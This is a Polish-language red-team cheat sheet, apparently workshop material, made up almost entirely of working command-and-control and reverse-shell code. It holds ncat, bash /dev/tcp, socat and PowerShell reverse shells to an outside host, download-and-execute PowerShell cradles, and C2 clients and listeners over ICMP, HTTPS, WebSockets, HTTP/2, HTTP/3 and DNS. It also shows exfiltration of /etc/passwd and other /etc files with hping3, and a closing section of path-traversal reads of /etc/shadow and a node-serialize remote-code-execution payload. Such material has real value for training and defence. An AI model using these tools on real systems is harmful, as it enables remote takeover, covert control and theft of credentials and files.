Rozdział 1 - RAW TCP

Listener

ncat -lvp 8888

Klient sh

ncat  -e "/bin/sh" dark.c4.aptmc.pl 8888

Klient powershell

iwr https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 | iex
powercat -c dark.c4.aptmc.pl -p 8888 -ep

Klient socat

socat tcp:dark.c4.aptmc.pl:8888 exec:"bash -i",pty,stderr,setsid,sigint,sane

Listener SSL

ncat -lvp 8888 --ssl

Klient sh SSL

ncat  -e "/bin/sh" dark.c4.aptmc.pl 8888 --ssl

Klient bash

bash -i >& /dev/tcp/dark.c4.aptmc.pl/8888 0>&1

Klient powershell

[System.Net.Sockets.TcpClient] $c = [System.Net.Sockets.TcpClient]::new("dark.c4.aptmc.pl", "8888")

$s = $c.GetStream()
[System.IO.StreamReader] $r = [System.IO.StreamReader]::new($s)
[System.IO.StreamWriter] $w = [System.IO.StreamWriter]::new($s)

while ($c.Connected) {
    while ($s.DataAvailable) {
        $cmd = $r.ReadLine()
        $o=(iex $cmd)2>&1|% { $w.WriteLine($_) }
        $w.Flush()
    }
}

Rozdział 2 ICMP

Klient powershell

$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$r = $ICMPClient.Send(”dark.c4.aptmc.pl”, 10, ([text.encoding]::ASCII).GetBytes("Hello, BSides!")) 
echo ([System.Text.Encoding]::ASCII.GetString($r.Buffer))

Listener ICMP/odwracacz

#! /usr/bin/env python
# sysctl net.ipv4.icmp_echo_ignore_all=1

from scapy.all import *

def handle_ping(pkt):
    if (pkt[2].type == 8):
        try:
            dst=pkt[1].dst
            src=pkt[1].src
            seq = pkt[2].seq
            id = pkt[2].id
            load=pkt[3].load

            print "payload from %s: %s" % (src, load)

            reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/load[::-1]
            send(reply,verbose=False)
        except:
            pass

if __name__=="__main__":
    iface = "enp1s0"
    filter = "icmp and icmp[0]=8"
    sniff(iface=iface, prn=handle_ping, filter=filter)

Listener ICMP/C2

#! /usr/bin/env python
# sysctl net.ipv4.icmp_echo_ignore_all=1

from scapy.all import *
import string

def handle_load(load):
    try:
        return "c:" + open("./data/%s" % load, "r").read().strip()
    except:
        return "#"

def handle_ping(pkt):
    if (pkt[2].type == 8):
        try:
            dst=pkt[1].dst
            src=pkt[1].src
            seq = pkt[2].seq
            id = pkt[2].id
            load = pkt[3].load

            print "payload from %s: %s" % (src, load)

            reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/handle_load(load)
            send(reply,verbose=False)
        except:
            pass

if __name__=="__main__":
    iface = "enp1s0"
    filter = "icmp and icmp[0]=8"
    sniff(iface=iface, prn=handle_ping, filter=filter)

Klient powershell/C2

$sleep = 10; $target = ”dark.c4.aptmc.pl"
while ($true) {
    $ICMPClient = New-Object System.Net.NetworkInformation.Ping
    $r=$ICMPClient.Send($target, 10, ([text.encoding]::ASCII).GetBytes($env:USERNAME)) 
    $r=[System.Text.Encoding]::ASCII.GetString($r.Buffer)
    if ($r -match "^c:(..*)$") {
        $out = iex $matches[1] 2>&1|out-string
        $ICMPClient.Send($target, 10, ([text.encoding]::ASCII).GetBytes("r:$out"))  
    }
    start-sleep $sleep
}

ICMP Exfill - https://github.com/aptmasterclass/powershell-kungfu/blob/master/exfil/Invoke-ICMPExfil.ps1

iwr https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/exfil/Invoke-ICMPExfil.ps1  | iex
ipconfig | Invoke-ICMPExfil dark.c4.aptmc.pl

Klient python/scapy

#! /usr/bin/env python

from scapy.all import sr1,IP,ICMP,send
import os, time, re, subprocess

target = ”dark.c4.aptmc.pl"
uid = os.environ['USER']
while True:
    p = sr1(IP(dst=target)/ICMP()/uid, verbose=0)
    m = re.search('^c:(.*)', p.load)
    if m:
        print "exec " + m.group(1)
        o = subprocess.check_output(m.group(1), shell=True)
        send(IP(dst=target)/ICMP()/o, verbose=0)
    time.sleep(10)

Ekfiltracja /etc/passwd po ICMP hpingiem

hping3 --icmp -d 1000 dark.c4.aptmc.pl --file /etc/passwd -c 10

for a in $(find /etc/ -type f); do hping3 --icmp -d 1000 dark.c4.aptmc.pl --file $a -c 1 ; done

Rozdział 3

Klient HTTPS/powershell 2

do {
    (new-object net.webclient).downloadstring("https://dark.c4.aptmc.pl/$env:USERNAME")|iex
    start-sleep 10
} while(1

Klient HTTPS/powershell 3+

 do {
    iwr ("https://dark.c4.aptmc.pl/$env:USERNAME")|iex
    start-sleep 10
} while(1

Klient HTTPS/sh

 while  [ True ];  do
    $(curl -ks "https://dark.c4.aptmc.pl/$USER")
    sleep 5
done 

Klient - kotek i myszka (headery)

try { 
     $response = Invoke-WebRequest http://aptmc.pl/404/
} catch {     $b=$_.Exception.Response.Headers['ETag']
     [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b))|iex}
$url = "http://aptmc.pl/img/" 
Invoke-WebRequest -Uri $url -SessionVariable ws 
$cookies = $ws.Cookies.GetCookies($url)
 [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($cookies.Value))|iex

Rozdział 4

Listener WebSockets

const fs = require('fs')
const WebSocket = require('ws');
const url = require('url');

const wss = new WebSocket.Server({ port: 8181 });

wss.on('connection', function connection(ws, req) {
    var uid = url.parse(req.url, true).query.uid;
    console.log("Guest with UID " + uid + " connected");
    if (fs.existsSync('./data/' + uid)) { // perhaps reconnect?
        try {
            ws.send(fs.readFileSync('./data/' + uid).toString());
        } catch (err) { console.log(err); }
    }
    fs.watchFile('./data/' + uid, function (curr, prev) {
        if (fs.existsSync('./data/' + uid)) {
            try {
                ws.send(fs.readFileSync('./data/' + uid).toString());
            } catch (err) { console.log(err); }
        }
    });
    ws.on('message', function incoming(message) {
        console.log('received: %s', message);
        try {
            fs.appendFileSync('./data/' + uid + '.output', message);
        } catch (err) { console.log(err); }
    });
});

Klient powershell

$uid = "${env:USERNAME}_" + [int64](([datetime]::UtcNow)-(get-date "1/1/1970")).TotalMilliseconds 
$url = "ws://dark.c2.aptmc.pl:8181/?uid=$uid"

do {
    $ws = New-Object System.Net.WebSockets.ClientWebSocket                                                
    $ct = New-Object System.Threading.CancellationToken                                                   

    $conn = $ws.ConnectAsync($url, $ct)                                                  
    While (!$conn.IsCompleted) { Start-Sleep -Milliseconds 100 }

    if ($ws.State -ne 'Open') {
        Write-Output "Unfortunately, connection status is: $($ws.State)"
        Start-Sleep 1
        continue
    } 

    Write-Output "Connected to $($url)"

    $size = 1024
    $array = [byte[]] @(, 0) * $size
    $recv = New-Object System.arraySegment[byte] -ArgumentList @(, $array)

    While ($ws.State -eq 'Open') {
        $cmd = ""
        Do {
            $conn = $ws.ReceiveAsync($recv, $ct)
            While (!$conn.IsCompleted) { Start-Sleep -Milliseconds 100 }
            $recv.array[0..($conn.Result.Count - 1)] | ForEach-Object { $cmd = $cmd + [char]$_ }
        } Until ($conn.Result.Count -lt $size)

        Write-Output "cmd: $cmd" 
        $r=((iex $cmd)2>&1|out-string)
        $msg = New-Object System.arraySegment[byte]  -ArgumentList @(,[System.Text.Encoding]::UTF8.GetBytes($r))
        $ws.SendAsync($msg, [System.Net.WebSockets.WebSocketMessageType]::Text, [System.Boolean]::TrueString, $ct)
    }  
    Write-Output "Connection closed."
} Until (!$conn)

Rozdział 5

Listener HTTP/2

const fs = require('fs')
const path = require('path')
const serialize = require('node-serialize');

const fastify = require('fastify')({
  http2: true,
  https: { key: fs.readFileSync('privkey.pem'), cert: fs.readFileSync('fullchain.pem') }
})

process.on('uncaughtException', function(error) { console.log(error); });

fastify.post('/*', function (request, reply) {
        var data = serialize.unserialize(request.body);
        var cmd = '';
        console.log(data);
        if (data['result'] != '') {
                fs.appendFileSync('./data/' + data.uid + '.out', data['result']);
        }
    try {
                cmd = fs.readFileSync('./data/' + data.uid)
                fs.writeFileSync('./data/' + data.uid, "")
                data['cmd'] = new Buffer.from(cmd).toString().trim();
        reply.code(200).header('Content-Type', 'text/plain; charset=utf-8').send(serialize.serialize(data))
    } catch(err) {
        reply.code(200).send("go away")
    }
});

fastify.listen(3001, "0.0.0.0")

Klient golang

package main

import (
    "fmt"
    "bytes"
    "net/http"
    "io/ioutil"
    "encoding/json"
    "time"
    "os"
    "os/exec"
    "runtime"
    "regexp"
)

const url = "https://foomain.c2.aptmc.pl:3001/hello"

func getCmd(uid string, result string) (error,string) {
    var resjes map[string]string
    re := regexp.MustCompile(`[^\w]`)
    uid = re.ReplaceAllString(uid, "")
    data, _ := json.Marshal(map[string]string{ "uid": uid, "result": result})
    resp, err := http.Post(url, "text/plain", bytes.NewBuffer(data)); if err != nil { return err,"" }
    body, err := ioutil.ReadAll(resp.Body); if err != nil { return err,"" }
    err = json.Unmarshal(body, &resjes); if err != nil { return err,"" }
    return nil,resjes["cmd"]
}

func main() {
    cmd := "whoami"
    shell := "sh"
    uid := fmt.Sprintf("%s%s_%d", os.Getenv("USER"), os.Getenv("USERNAME"), time.Now().Unix())
    if runtime.GOOS == "windows" {
        shell = "powershell.exe"
    }
    for {
        var out []byte
        if cmd != "" {
            out, _ = exec.Command(shell, "-c", cmd).CombinedOutput()
        }
        _, cmd = getCmd(uid, string(out))
        time.Sleep(5 * time.Second)
    }
}

Rozdział 6

Listener HTTP/3

FROM python:3

WORKDIR /usr/src/app

RUN git clone https://github.com/aiortc/aioquic.git /usr/src/app

RUN pip install -e .
RUN pip install aiofiles asgiref httpbin starlette wsproto

CMD ["python", "examples/http3_server.py", "-c", "/certs/fullchain.pem", "-k", "/certs/privkey.pem", "--port", "443"]
version: '3'
services:
  aioquic:
    build: .
    image: aioquic-demo-http3-server
    ports:
    - "443:443/udp"
    volumes:
    - ./certs:/certs
    - ./c2:/usr/src/app/examples/htdocs/c2

Klient curl

while [ True ]; do
        cmd=$(curl -ks --http3 https://dark.c4.aptmc.pl/c2/$USER)
        [[ "$cmd" =~ "Not Found" ]] || $cmd
        sleep 5
done

Rozdział 6

DNS-in

(Resolve-DnsName -Type TXT calc.aptmc.pl).strings|iex

Resolve-DnsName -Type TXT msg.aptmc.pl|%{[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($_.strings))}|iex

[System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String((((Resolve-DnsName -Type TXT msg10.aptmc.pl).strings|sort) -join "" -replace "[\d]\.","")))|iex

DNS-out

iwr https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/exfil/Invoke-DNSExfil.ps1 | iex
ipconfig | Invoke-DNSExfil foo.aptmc.pl -server aptmc.pl

DoH

curl -s -H 'accept: application/dns+json' 'https://dns.google.com/resolve?name=msg10.aptmc.pl&type=TXT'

curl -s -H 'accept: application/dns+json' 'https://dns.google.com/resolve?name=msg10.aptmc.pl&type=TXT' | jq '.Answer[].data'

HackBack

ICMP exploit/powershell

$target = ”dark.c4.aptmc.pl"
$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$r=$ICMPClient.Send($target, 10, ([text.encoding]::ASCII).GetBytes("../../../../../etc/shadow")) 
$r=[System.Text.Encoding]::ASCII.GetString($r.Buffer)
echo $r

WebSockests exploit/chrome/js

ws = new WebSocket("ws://dark.c4.aptmc.pl:8181/?uid=../../../../../../../../etc/shadow").onmessage = function(e) { console.log(e.data); };

NodeJS deserializacja - RCE

curl https://dark.c2.aptmc.pl:3001/hello  -H "Content-type: text/plain"  -d '{"uid":"_$$ND_FUNC$$_function(){\nconsole.log(require(\"child_process\").execSync(\"ps aux\").toString());\n}()"}'